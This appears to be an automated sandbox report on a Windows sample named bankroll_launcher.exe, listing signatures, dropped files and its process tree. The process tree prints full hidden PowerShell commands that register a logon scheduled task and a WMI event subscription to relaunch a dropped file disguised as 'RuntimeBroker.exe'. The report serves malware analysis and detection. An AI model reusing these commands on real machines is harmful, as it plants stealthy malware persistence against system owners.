Analysis

  • max time kernel
    88s
  • max time network
    81s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/07/2026, 23:23

General

  • Target
    bankroll_launcher.exe
  • Size 12.6MB
  • Sample260705-3c6eqab14m
  • SHA256 b81369a38efdaa61424ef9f55aecf01652d928b5f53bc20c8f6bfb81ba4d9d08
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • UPX packed file 11 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bankroll_launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\bankroll_launcher.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:5040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'RuntimeBroker_727529ae' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'RuntimeBroker_727529ae' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'RuntimeBroker_f727529ae'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'RuntimeBroker_c727529ae'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='RuntimeBroker_f727529ae'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='RuntimeBroker_c727529ae'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4132

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 805c5cb75f5e18335eef8e06d3b78d07dfc8fb283ddcbb1b09c4de806f87eaae
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_zfg3mqdh.wqd.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfg3mqdh.wqd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-3641406627.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3641406627.tmp
        • Size 12.6MB
        • SHA256 b81369a38efdaa61424ef9f55aecf01652d928b5f53bc20c8f6bfb81ba4d9d08
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4428-27-0x00007FF42BA50000-0x00007FF42BA60000-memory.dmp

        memory/4428-30-0x00000228799C0000-0x00000228799CA000-memory.dmp

        memory/4428-12-0x0000022874330000-0x0000022874340000-memory.dmp

        memory/4428-31-0x0000022879E50000-0x0000022879E6C000-memory.dmp

        memory/4428-19-0x0000022879840000-0x0000022879862000-memory.dmp

        memory/4428-20-0x0000022874330000-0x0000022874340000-memory.dmp

        memory/4428-28-0x00000228798E0000-0x00000228798FC000-memory.dmp

        memory/4428-11-0x0000022874330000-0x0000022874340000-memory.dmp

        memory/4428-29-0x0000022879900000-0x00000228799B3000-memory.dmp

        memory/4436-61-0x0000019320A60000-0x0000019320B13000-memory.dmp

        memory/5040-0-0x00007FF7B4E30000-0x00007FF7B94C0000-memory.dmp

        memory/5040-4-0x00007FF7B4E30000-0x00007FF7B94C0000-memory.dmp

        memory/5040-38-0x00007FF7B4E30000-0x00007FF7B94C0000-memory.dmp

        memory/5040-3-0x00007FF7B4E30000-0x00007FF7B94C0000-memory.dmp

        memory/5040-2-0x00007FF7B4E30000-0x00007FF7B94C0000-memory.dmp

        memory/5040-1-0x00007FF7B4E30000-0x00007FF7B94C0000-memory.dmp

        memory/5116-39-0x00007FF610B70000-0x00007FF615200000-memory.dmp

        memory/5116-41-0x00007FF610B70000-0x00007FF615200000-memory.dmp

        memory/5116-43-0x00007FF610B70000-0x00007FF615200000-memory.dmp

        memory/5116-71-0x00007FF610B70000-0x00007FF615200000-memory.dmp